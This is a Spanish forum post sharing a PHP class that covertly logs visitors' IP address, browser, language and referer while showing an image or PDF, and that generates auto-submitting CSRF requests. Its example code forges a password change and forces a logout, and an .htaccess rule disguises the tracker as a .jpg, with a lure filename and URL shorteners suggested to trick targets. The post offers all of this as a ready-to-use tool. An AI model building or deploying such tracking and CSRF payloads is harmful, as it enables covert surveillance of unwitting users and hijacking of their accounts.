Bueno hace tiempo que no revisaba las clases que tenia por el portátil y me encontré con esta, que aunque no sea muy extensa, es bastante útil para alguna que otra tontería. La subí a GIT por si a alguien le interesa.
Definición:
Básicamente es una class para poder capturar la IP/Navegador de un usuario mostrando una imagen, pdf o redirigiendo a otra web, los datos son guardados en una base de datos MySQL.
También nos vale para agilizar CSRF/XSRF ya que añadiendo los parámetros en un array ya estará creado todo el html y la redirección JS.
Enlace:
https://github.com/DaveMTC/executePhoto
Explicación:
Bueno es bastante sencillo el asunto, importamos la clase y luego llamamos a los métodos que queremos, por ejemplo:
<?php
require('class.executePhoto.php');
// Capturamos los datos de la conexion:
executePhoto::save_client();
// Imprimimos una imagen remota:
executePhoto::print_img('http://foro.elhacker.net/Themes/converted/selogo.jpg');
// Imprimimos un PDF:
executePhoto::print_pdf('http://www.boe.es/boe/dias/2013/02/04/pdfs/BOE-A-2013-1145.pdf');
// Parametros que seran redirigidos:
$param = array('contrasenya' => '123456',
'repetir_contrasenya' => '123456',
'email' => 'ejemplo@email.com');
// Ejemplo de ejecucion arbitraria cambio contrasenya:
executePhoto::redirect_post('http://localhost/', $param);
// Redireccionamos la web y desconectamos a X usuario de la web:
executePhoto::redirect('http://localhost/logout');
?>
Tabla:
Los datos que se guardan en la base de datos son el lenguaje del navegador, la ip, el tipo de navegador, la hora y la url de referencia si es que existe.
CREATE TABLE `list_clients` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`ip` varchar(120) DEFAULT NULL,
`lang` varchar(200) DEFAULT NULL,
`browser` varchar(200) DEFAULT NULL,
`referer` varchar(200) DEFAULT NULL,
`date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `ip` (`ip`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;
htaccess:
Por ultimo también hay un .htaccess, para que la url sea mas amigable al usuario, siempre entra mejor un http://www.miweb.es/lorena-desnuda.jpg aunque también podemos usar acortadores como bit.ly
RewriteEngine On
RewriteRule ^(.*)\.jpg$ example.php [NC]
Un saludo y ojala le sirva a alguien ^^.